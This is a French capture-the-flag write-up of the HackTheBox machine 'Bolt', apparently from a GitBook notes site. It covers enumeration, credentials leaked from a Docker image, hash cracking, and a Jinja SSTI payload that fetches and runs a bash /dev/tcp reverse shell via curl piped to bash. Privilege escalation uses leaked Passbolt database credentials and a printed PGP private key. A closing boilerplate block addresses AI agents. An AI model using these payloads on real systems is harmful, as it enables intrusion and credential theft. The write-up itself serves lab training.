> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/bolt-hackthebox-writeup.md).

# Compte rendu HackTheBox de Bolt

{% embed url="<https://app.hackthebox.com/machines/384>" %}

{% hint style="warning" %}
**Compétences :**

* Fuite d'informations
* Énumération de sous-domaines
* SSTI (Injection de modèles côté serveur)
* Exploitation de PassBolt
* Exploitation de GPG
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/fcb194ce99789e8f6a0e91636e892bc56f3afb48" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/ebbeda3cc84e49a3af59f693a44ff508bdd78b6e" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -Pn -n --min-rate 5000 -vvv 10.10.11.114 -oG allPorts
```

<figure><img src="/files/5a28877a7992bc6d01492ae946bc160f6fa91cb0" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

Utilisez la fonction extractPorts pour afficher les ports ouverts de manière concise et les copier dans le presse-papiers (22,80,443)

<figure><img src="/files/34fca67f886b1642d5094c0b4d996a19e56f9c26" alt="" width="563"><figcaption></figcaption></figure>

**Scan de version des ports avec Nmap :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p22,80,443 10.10.11.114 -oN targeted
```

<figure><img src="/files/38ac0423b26034b30e3429429a9a75a3cce0f30c" alt=""><figcaption></figcaption></figure>

Pour résoudre les noms de domaine en adresses IP via DNS, nous insérons le nom de domaine associé à son adresse IP dans le `/etc/hosts` .

<figure><img src="/files/f358c6fb68c26d55668d1f38dcc3d775f8d31e6d" alt="" width="563"><figcaption></figcaption></figure>

### Port 80

<figure><img src="/files/7a63bc38e384792ea9bec4944389b92f050be156" alt=""><figcaption></figcaption></figure>

Nous essayons de créer un compte, mais recevons une erreur « Internal Server Error ».

<figure><img src="/files/028d920474b8ecd0db83cd85f9284d035aca4029" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3d416317035624345e38aaddbba91b9d4c477bbe" alt=""><figcaption></figcaption></figure>

**Liste des utilisateurs possibles :**

* Joseph Garth
* Bonnie Green
* Jose Leos

<figure><img src="/files/d405f879af765dd94cd883a6ca36f6c462754be7" alt=""><figcaption></figcaption></figure>

On nous propose de télécharger un `.tar` image Docker, comprenant un package web de base pour démarrer un projet avec un design élégant.

<figure><img src="/files/e6fc45609b57bef807099542c6423958f3fc4298" alt=""><figcaption></figcaption></figure>

**Recherche de répertoires :**

Nous effectuons une recherche de répertoires avec `gobuster`:

```bash
gobuster dir -u http://bolt.htb  -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Rien d'intéressant n'a été trouvé.

<figure><img src="/files/de7de8b176a6282032830cb5a77790f2d633048a" alt=""><figcaption></figcaption></figure>

**Recherche de sous-domaines :**

Nous recherchons des sous-domaines avec `gobuster`:

```bash
gobuster vhost -u http://bolt.htb  --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

Sous-domaines trouvés :

* `demo.bolt.htb`
* `mail.bolt.htb`

<figure><img src="/files/2a33bb0ffdbea7d0c09c708ba1153d49fdecb24d" alt=""><figcaption></figcaption></figure>

Nous les ajoutons au `/etc/hosts` .

<figure><img src="/files/f05abba2bf543cd0436b6e44a8d6efa41dd4c721" alt="" width="563"><figcaption></figcaption></figure>

**`http://mail.blolt.htb`**

<figure><img src="/files/5e8ac86bb243f9f31a284f17ca3f680271afa622" alt="" width="563"><figcaption></figcaption></figure>

**`http://demo.bolt.htb:`**

<figure><img src="/files/f884f2b5eecbf6a9037429e16500153f01300fe2" alt="" width="563"><figcaption></figcaption></figure>

### Fuite d'informations (image.tar)

Nous recherchons des informations sensibles dans le fichier Docker `.tar` qui contient des dossiers avec le fichier `json`, fichier `layer.tar` et la version.

<figure><img src="/files/5fdcf9d098f6d0c7cd1c02e204b523bbf49ca32a" alt=""><figcaption></figcaption></figure>

**Extraction des fichiers :**

Nous extrayons les fichiers de `layer.tar` comme suit :

```bash
mkdir extracted_layers
```

```bash
find . -name "layer.tar" -exec tar -xvf {} -C extracted_layers /;
```

<figure><img src="/files/959db2417ff540836be8194b883d0ba87d290fee" alt=""><figcaption></figcaption></figure>

Nous ouvrons le `db.sqlite3` base de données :

```sql
sqlite3 db.sqlite3 

.tables
Select * from user
```

Nous trouvons un utilisateur `admin` avec un mot de passe haché :

* `id`: Identifiant unique de l'utilisateur.
* `le nom d'utilisateur`: Nom d'utilisateur (`admin` dans ce cas).
* `email`: Adresse e-mail associée (`admin@bolt.htb`).
* `mot de passe`: Mot de passe haché (`$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.`).

<figure><img src="/files/6b19d8eebb34e309ed741ebcfe5e82ec9c47bf0f" alt="" width="468"><figcaption></figcaption></figure>

Nous déchiffrons le mot de passe avec `john`:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`admin:deadbolt`

<figure><img src="/files/d99cab6363c8bf2d5027377c9d9e9cd397ce7387" alt="" width="563"><figcaption></figcaption></figure>

Nous nous connectons au panneau d'administration mais ne trouvons rien d'intéressant, si ce n'est qu'il utilise Flask.

<figure><img src="/files/d112a656766182f24af4611ce177f1ce79744166" alt=""><figcaption></figcaption></figure>

**Recherche du code d'invitation :**

<figure><img src="/files/28ae651cb4605dd7464853561617bea7c5189021" alt="" width="529"><figcaption></figcaption></figure>

Nous recherchons le code d'invitation dans les fichiers extraits :

```bash
grep -ri "invite_code" .
```

<figure><img src="/files/44b6de996e88bff1a6124cb3eeaeb8d467c03a0e" alt=""><figcaption></figcaption></figure>

Un fichier Python contient le code d'invitation :

`XNSS-HSJW-3NGU-8XTJ`

<figure><img src="/files/0487517042f006897e7a7cbe59496017d2e18754" alt=""><figcaption></figcaption></figure>

Nous créons un nouveau compte utilisateur `jordan` avec le mot de passe `Jordan1234`puis nous avons accès à la boîte de réception et à la démo du panneau d'administration.

<figure><img src="/files/3a811d425b163cfa88e6c711c4482c7b30d28833" alt="" width="563"><figcaption></figcaption></figure>

* `utilisateur : jordan`
* `mot de passe : Jordan1234`

<figure><img src="/files/0388f1c10d44b598370a5569f733fce3680c0c2c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0efe3b7ba19b974475c818aa6fd329db9e3f8dd9" alt=""><figcaption></figcaption></figure>

## Vulnérabilité SSTI :

En examinant la configuration, nous remarquons que si nous changeons le nom de notre configuration, un e-mail de confirmation est envoyé. Cela peut être une opportunité pour une attaque SSTI.

<figure><img src="/files/fe7a18b4d569861d8d20090c48bf468e31bb09e5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d62e7a248028ccc8fbca7c06bb42387e87169281" alt=""><figcaption></figcaption></figure>

Nous testons avec un payload typique :

```bash
{{ 9*9 }}
```

Si le résultat est `81`, l'application est vulnérable.

<figure><img src="/files/5162172f02df5a049fce5048fc36ab3ebc4235a4" alt=""><figcaption></figcaption></figure>

Nous confirmons que l'application est vulnérable et testons l'injection de commandes avec un payload provenant de `payloadallthethings`:

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings>" %}

ID de commande :

```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```

<figure><img src="/files/d572cb96a0d12c8a0cb3193cab1aa688cf219036" alt=""><figcaption></figcaption></figure>

Nous exécutons avec succès un shell inversé en écoutant sur le port 443 :

```bash
nc -nlvp 443
```

Nous créons un `index.html` fichier avec le contenu suivant pour exécuter un shell inversé

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.3/443 0>&1
```

Puis nous démarrons un serveur HTTP avec Python :

```bash
python3 -m http.server 80
```

Nous envoyons le payload avec `curl` pour récupérer et exécuter la commande :

```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.10.14.3 | bash').read() }}
```

<figure><img src="/files/38cffb45c88620048553ab1d9637133c575a5217" alt=""><figcaption></figcaption></figure>

**Stabilisation du terminal :**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Stabilisez le shell pour travailler plus confortablement. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Élévation de privilèges :

En tant qu'utilisateur `www-data`nous tentons d'élever nos privilèges pour obtenir l'accès root.

### Énumération initiale avec LinPEAS

Vous avez utilisé LinPEAS pour identifier des vulnérabilités potentielles dans le système.

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases>" %}

Commandes exécutées :

```bash
python3 -m http.server 555
```

```bash
wget http://10.10.14.3:555/linpeas.sh
```

<figure><img src="/files/cdfbb27b5015ecee5dca8c282b902fba30c7d2fa" alt=""><figcaption></figcaption></figure>

LinPEAS a révélé un fichier de configuration contenant des informations sensibles :

`/etc/passbolt/passbolt.php`

* `hôte :localhost`
* `port : 3306`
* `nom d'utilisateur : passbolt`
* `mot de passe : rT2;jW7<eY8!dX8}pQ8%`
* `base de données : passboltdb`

<figure><img src="/files/6e0c3b09e4cf59a0243f0cbfd12c244131032b8e" alt=""><figcaption></figcaption></figure>

### **Connexion à la base de données MySQL**

En utilisant les informations pour se connecter à la base de données :

```bash
mysql -h localhost -P 3306 -u passbolt -p 

rT2;jW7<eY8!dX8}pQ8%
```

#### **Analyse des tables de la base de données**

<figure><img src="/files/67e311a522856d4b0bc37449a54f8c0d2803a638" alt=""><figcaption></figcaption></figure>

* **`users`**: Contient les utilisateurs.

<table data-header-hidden data-full-width="true"><thead><tr><th width="125"></th><th width="112"></th><th width="124"></th><th width="101"></th><th width="109"></th><th width="110"></th><th></th></tr></thead><tbody><tr><td><code>id</code></td><td><code>role_id</code></td><td><code>le nom d'utilisateur</code></td><td><code>active</code></td><td><code>deleted</code></td><td><code>created</code></td><td><code>modified</code></td></tr><tr><td><code>4e184ee6-e436-47fb-91c9-dccb57f250bc</code></td><td><code>1cfcd300-0664-407e-85e6-c11664a7d86c</code></td><td><code>eddie@bolt.htb</code></td><td>1</td><td>0</td><td>2021-02-25 21:42:50</td><td>2021-02-25 21:55:06</td></tr><tr><td><code>9d8a0452-53dc-4640-b3a7-9a3d86b0ff90</code></td><td><code>975b9a56-b1b1-453c-9362-c238a85dad76</code></td><td><code>clark@bolt.htb</code></td><td>1</td><td>0</td><td>2021-02-25 21:40:29</td><td>2021-02-25 21:42:32</td></tr></tbody></table>

* **`secrets`**: Messages chiffrés (potentiellement exploitables plus tard).

<figure><img src="/files/e9d81422026a9ccd9fc7b1cb9e5ca60bbee22928" alt=""><figcaption></figcaption></figure>

* **`gpgkeys`**: Contient les clés publiques (peut être utilisé dans certains scénarios).

<figure><img src="/files/9501bec16f2362a773fb93376223159c4a7a666c" alt=""><figcaption></figcaption></figure>

Tentative de connexion avec `eddie`:

```bash
su eddie
```

* **Mot de passe**: `rT2;jW7<eY8!dX8}pQ8%`
* Accès à l'utilisateur `eddie` obtenu

### Drapeau user.txt :)

<figure><img src="/files/3e5c863ff517be2e1828970468a6fb35e9b76f79" alt="" width="563"><figcaption></figcaption></figure>

### Réutilisation de LinPEAS (utilisateur eddie)

Après avoir obtenu l'accès à l'utilisateur `eddie`, nous réutilisons **LinPEAS** pour explorer le système à la recherche de clés SSH potentielles ou d'autres indices utiles.

<figure><img src="/files/e441cd0fb917fada11f9f2d3efdc899a8b67bc31" alt=""><figcaption></figcaption></figure>

**Fichier trouvé**: Un fichier journal contenant d'éventuelles clés SSH :

`/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log`

<figure><img src="/files/6abf17769544c6837c0e8e836e2c7746ea0ab2fb" alt=""><figcaption></figcaption></figure>

### Déchiffrement du message avec GPG

**Clé privée GPG**: Nous utilisons le **GPG** outil pour importer la clé privée et tenter de déchiffrer le message chiffré dans le `secrets` table dans la `passboltdb` base de données.

```
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

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
PSwYYWlAywj5
=cqxZ
-----END PGP PRIVATE KEY BLOCK-----
```

#### Extraction du hachage de la clé privée

Pour pouvoir utiliser la clé privée, nous devons d'abord obtenir son **hachage**. Nous utilisons le **gpg2john** outil pour extraire le hachage de la clé privée :

```bash
gpg2john private.key > hash
```

<figure><img src="/files/fa37aa840b80906fe1cf889e87e043a99543e555" alt=""><figcaption></figcaption></figure>

**Brute force du mot de passe de la clé privée avec `john`**

Nous utilisons **John the Ripper** pour effectuer une attaque par dictionnaire et découvrir le mot de passe de la clé privée. Nous utilisons la liste de mots **rockyou.txt** pour cela :

```bash
john -wordlist=/usr/share/wordlists/rockyou.txt hash
```

**Mot de passe trouvé**: `merrychristmas`

<figure><img src="/files/16c27926a550fcf77acbb268b85bb6a444912f2a" alt=""><figcaption></figcaption></figure>

#### Importation de la clé privée et déchiffrement du message

Nous importons la clé privée avec **gpg**

```bash
gpg --import private.key
```

<figure><img src="/files/5d731b4d620b885b186e75ea56aa23841ee05989" alt=""><figcaption></figcaption></figure>

Ensuite, nous déchiffrons le message chiffré (probablement contenu dans le `message.txt` fichier récupéré depuis la `secrets` base de données) :

```bash
gpg --decrypt message.txt
```

**Mot de passe root trouvé**: `Z(2rmxsNW(Z?3=p/9s`

<figure><img src="/files/1324ffba6bc4f302f78a13e3af2051f004288f51" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt

<figure><img src="/files/10a445a9fc4766bd51d4d5b578c532d2c8f9dfdd" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/aee00ba1adfcbeadb0a5d11e85d30d847d6f347e" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/bolt-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
